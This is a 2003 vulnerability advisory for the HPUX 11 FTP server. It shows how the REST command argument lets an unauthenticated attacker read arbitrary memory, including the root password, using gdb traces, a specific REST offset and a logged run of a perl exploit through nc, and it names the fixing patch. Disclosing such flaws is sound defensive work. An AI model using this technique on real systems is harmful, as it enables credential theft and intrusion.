Secure Network Operations, Inc. http://www.secnetops.com Strategic Reconnaissance Team research@secnetops.com Team Lead Contact kf@secnetops.com Our Mission: ************************************************************************ Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer. Quick Summary: ************************************************************************ Advisory Number : SRT2003-06-05-0935 Product : HPUX FTP server Version : Version 1.1.214.4 Vendor : http://www.hp.com Class : Remote Criticality : High Operating System(s) : HPUX 11 High Level Explanation ************************************************************************ High Level Description : Remote unauthenticated file viewing via ftpd What to do : Install HPUX patch PHNE_21936 or higher Technical Details ************************************************************************ Proof Of Concept Status : Secure Network Operations does have PoC code Low Level Description : The ftpd that comes default with HPUX 11 is vulnerable to an attack that will allow an attacker to view the contents of any file on the system without first authenticating. This is subject to first getting the file into memory. This issue occurs in the REST command. REST is intended to allow the user to restart an upload or download from a previous location. If for a user was for example disconnected from the internet he or she could resume the session where he left off at a later time. The argument that is passed to the REST command can be used to specify a memory address to read from. This allows an attacker for example to easily read the root password from memory. Since the source code for the HPUX ftpd is not at my disposal I can only make an assumption on the origin of this bug. After fully exploiting the issue I did run across a small bullet in a patch log which appears to point out the cause of the problem. In the text description for HPUX patch PHNE_21936 I found the following. PHNE_18377: The wrong conversion character was used in the format string to define the filesize. Resolution: The conversion character in the format was changed to the offset_uformat macro. When exploiting this issue I noticed the offset_uformat macro seems to be used when presenting the user with data about the restarted session. Due to the bad use of a conversion character and the connection with offset_uformat I felt there was a good chance this caused the problem. If we take a look in gdb we can see how this bug becomes exploitable. frieza elguapo $ ftp 192.168.1.111 Connected to 192.168.1.111. 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready. Name (192.168.1.111:root): elguapo 331 Password required for elguapo. Password: 230 User elguapo logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> rest 1111111111111111 restarting at 2147483647. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. # gdb /usr/lbin/ftpd 2862 GNU gdb 4.18-hppa-991112 Copyright 1998 Free Software Foundation, Inc. /home/elguapo/2862: No such file or directory. Attaching to program: /usr/lbin/ftpd, process 2862 Unable to find __dld_flags symbol in object file. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x7fffffff: Bad address. (gdb) info registers r3 r11 r3: 7fffffff r11: 7fffffff For some reason we are trying to read from the address 0x7fffffff. If we try different offsets for the REST command we discover that we have full control of the address being read. In gdb this address can be found in both r3 and r11. Below you see the result of trying different addresses. The value that is stored in r3 will later be used in a call to write() . ftp> rest 200000 restarting at 200000. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d40: Bad address. ftp> rest 200002 restarting at 200002. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d42: Bad address. ftp> rest 200004 restarting at 200004. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d44: Bad address. You should note that the address that is being read from seems to be incremented as we increment the REST offset. At this point we only need to find a good section of memory to try to read from. I figured out rather quickly that when attempting to login to the ftpd the root password is obviously put in memory. After a bit of tracing through system calls I found the address that the password was stored at and simply supplied that address via the REST command. The result of that exercise can be seen below. During authentication the following occurs. open("/etc/passwd", O_RDONLY, 0666) [entry] open("/etc/passwd", O_RDONLY, 0666) ioctl(5, TCGETA, 0x7f7e61b8)[entry] ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY read(5, 0x4002fe10, 8192)[entry] read(5, 0x4002fe10, 8192)= 454 r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n / s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n : The address 0x4002fe10 should now contain the root password. This is the address that we should put in the r3 register. REST 1073937936 should do the job. A simple perl script serves the purpose of an exploit. frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready. 331 Password required for root. 530 Login incorrect. 350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n daemon:*:1:5::/:/sbin/sh\n bin: ... You will notice that the root password is printed to the screen as part of the restart information. We have now successfully exploited this issue. Unfortunately there is zero information left in log files for tracking the attacker. Below is an example of what you would see in syslog. Jan 1 07:34:53 kakarot ftpd[2138]: pam_authenticate: Authentication failed Jan 1 07:34:53 kakarot ftpd[2138]: User root: Login incorrect Jan 1 07:34:53 kakarot ftpd[2138]: FTP session closed I have not yet decided if HP fixed this issue on accident when they noted the "wrong conversion character" was used in their code or if they were simply following suit with their usual policy of releasing information on "Unspecified" and "Potential" holes. Regardless HP has put out a fix for this issue. I believe PHNE_18377 contained several other WU-FTPD fixes so I am leaning towards the "Unspecified" / Silent fix. Patch or Workaround: Install HPUX patch PHNE_18377 or higher (PHNE_21936) Vendor Status : Vendor *accidentally* fixed this in PHNE_18377 Bugtraq URL : to be assigned ------------------------------------------------------------------------ This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact research@secnetops.com for information on how to obtain exploit information.